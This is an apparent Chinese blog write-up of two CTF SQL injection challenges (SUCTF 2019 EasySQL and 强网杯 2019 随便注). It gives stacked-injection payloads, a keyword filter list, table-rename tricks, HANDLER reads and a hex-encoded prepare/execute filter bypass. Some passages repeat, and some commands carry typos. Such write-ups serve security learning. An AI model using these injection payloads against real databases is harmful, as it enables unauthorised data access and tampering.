sqlctf实践题及wp(持续更新中

sql注入题及wp

1.[SUCTF 2019]EasySQL

打开实例如图所示

在这里插入图片描述

显然我们要通过这个输入框找到flag

那我们先试探一下sql注入查看,回显

先输入1,我们得到

请添加图片描述

以下呢是思路(是我看不同的wp总结来的,应该算是比较完整的了)

①永真条件测试

紧接着继续直接构造payload进行检测(如下是一个永真条件)

1 or 1=1

我们得到

在这里插入图片描述

说明部分字段被过滤了(应该是or)

那我们来检查一下哪些关键字被过滤了,从而来判断该使用什么过滤方式

我们用bp抓包爆一下试试(如下图

在这里插入图片描述

再利用关键字的字典对query进行爆破

在这里插入图片描述

爆破完成,查看一些像response,Length=560的关键字都是被过滤掉的

在这里插入图片描述

根据网上大佬推断

得出最终结论,被过滤的关键字有:

prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|

很多的关键字都被ban了,报错注入,union联合注入,盲注皆不可行,所以后面我们尝试进行堆叠注入。

②堆叠注入

进行堆叠注入,首先试着查询数据库

1;show databases;

查询如下图:

在这里插入图片描述

成功查询到数据库,证明堆叠注入是可行的

然后再试着查询表

1;show tables;

查询如下图:

在这里插入图片描述

得到一个信息Flag

看到表Flag,我们基本可以确定,flag在表Flag中。我们可能想到利用from来查询Flag,可是通过前面爆破可知,from被过滤掉了,所以只能想其他的方法了

③多试探找规律推断代码

于是我们再一个劲的试探

尝试完1,之后尝试0,2,3,4等等以及一些字母

发现只有在输入12,3,4,5等等的情况下有正常的回显,输入0或其他字符都没有回显

那根据这些总结一下,来猜测一下后端的代码:

根据前面的回显:输入1到9返回Array ( [0] => 1(此处的1可能代表Ture) ),输入0或字符没有回显,仅有的两种回显,可以判断出,后端应该使用的是逻辑或,即条件为真进行回显或条件不满足返回空白

逻辑或:|| 两边,一侧为非0数字则取1,否则取0。

推断后端代码如下

$sql = "select ".$post['query']."||flag from Flag"; 

ps:

在MySQL中,||运算符的行为取决于当前的SQL模式配置:


1. 默认情况下(未启用PIPES_AS_CONCAT模式)

  • || 是逻辑“或”(OR)运算符

    • 用于布尔逻辑运算,例如:

      SELECT 1 || 0;  -- 返回 1(因为 1 OR 0 为真)
      SELECT 0 || 0;  -- 返回 0(因为 0 OR 0 为假)
      
    • 非布尔值的隐式转换
      非布尔值(如字符串或数字)会被隐式转换为布尔值(非零为真,零为假)。
      例如:

      SELECT 'Hello' || 'World'; -- 返回 1(两个非空字符串均视为真)
      SELECT 5 || 0;            -- 返回 1(5为真,0为假,结果为真)
      

2. 启用PIPES_AS_CONCAT模式时

  • || 是字符串连接符

    • 用于拼接字符串,例如:

      SELECT 'Hello' || ' World';  -- 返回 'Hello World'
      SELECT 1 || 0;              -- 返回 '10'(数字隐式转为字符串后拼接)
      
    • 启用方法
      在SQL模式中添加 PIPES_AS_CONCAT,例如:

      SET sql_mode = 'PIPES_AS_CONCAT';  -- 临时启用
      -- 或修改配置文件永久生效
      

如何查看当前SQL模式?

SELECT @@sql_mode;  
-- 若结果包含 `PIPES_AS_CONCAT`,则 `||` 是字符串连接符。

于是下面再继续做这道题就有两种方法:

法一:启用PIPES_AS_CONCAT模式

启用PIPES_AS_CONCAT模式,将||前后拼接到一起

即:

1;sql_mode=PIPES_AS_CONCAT;select 1

结果如下:

在这里插入图片描述

法二:直接*得到

构造payload

*,1

直接得到flag如下:

在这里插入图片描述

已知后端语句是select 输入内容 || flag from Flag,输入*,1就相当于构造了select *,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag

像是个漏洞,直接输出了
select *和select 所有列的意义相同,那么我们构造的select *,1 || flag from Flag ==select *,1 from Flag

elect 输入内容 || flag from Flag,输入*,1就相当于构造了select *,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag

像是个漏洞,直接输出了

select *和select 所有列的意义相同,那么我们构造的select *,1 || flag from Flag ==select *,1 from Flag

2.[强网杯 2019]随便注

进入题目

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

判断sql注入是否存在

首先我们判断一下是否存在注入,

首先输入1提交

回显如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

输入1’

报错了,如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

再试试万能公式1‘or1=1

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

说明存在注入

再看有几个字段

1’ order by 2;

如下:(未报错说明大于等于二)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

1’ order by 3;

如下:(报错说明小于三)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

可以得出只有两个字段

尝试union select[联合查询](select查询试一下)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

发现关键字select被过滤了

启用堆叠注入

爆表

1’;show databases;

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

暴库:

1’;show tables;

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

发现存在两个表“word”和一串数字

分别查看表的内容:

(先看words)

1’;show columns from words;

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

(再看数字)

注意查询数字类型的名称要套上反引号``

1’;show columns from 1919810931114514;

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

发现有一个flag内容,应该就是我们需要的flag

下面有三种做法拿到flag

方法一:改名

①alter(修改表名或字段)

修改表名:alter table 旧表名 rename to 新表名

修改字段名:alter table 表名 change 旧字段名 新字段名 新数据类型

1'; alter table words rename to words1;alter table 1919810931114514 rename to words;alter table words change flag id varchar(50);#

②rename(用于修改表名)

rename命令格式:rename table 原表名 to 新表名;

1';rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100);#

最后,再用一下一开始的操作 id=1’ or 1=1#。得到flag

方法二:直接浏览读取

handler

handler不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:

打开表:hander 表名 open;

查看数据: hander 表名 read next;

关闭表: hander 表名 read close;

1';hanader 1919810931114514 open;hander 1919810931114514 read next;hander 1919810931114514 close;

方法三:编码绕过

将被过滤的字符编码后再构造payload

由于select被过滤了,因此将select * from ` 1919810931114514``进行十六进制编码,再构造payload。

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

如下图:知识点:

  1. prepare…from…是预处理语句,会进行编码转换。

  2. execute用来执行由SQLPrepare创建的SQL语句。

  3. SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

  4. 构造payload
    select *from 1919810931114514(注意这里使用反引号把这个数字包括住,md编辑器打不上去)
    *号查询数据表里面的全部内容,这就是爆出flag的原理
    进行16进制编码加密
    73656c656374202a2066726f6d20603139313938313039333131313435313460
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

那么总体理解就是,使用SeT方法给变量a赋值,给a变量赋的值就是select查询1919810931114514表的所有内容语句编码后的值,execsql方法执行来自a变量的值,prepare…from方法将执行后的编码变换成字符串格式,execute方法调用并执行execsql方法。

这里的set也被检测了(所以要用到大小写绕过SeT

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值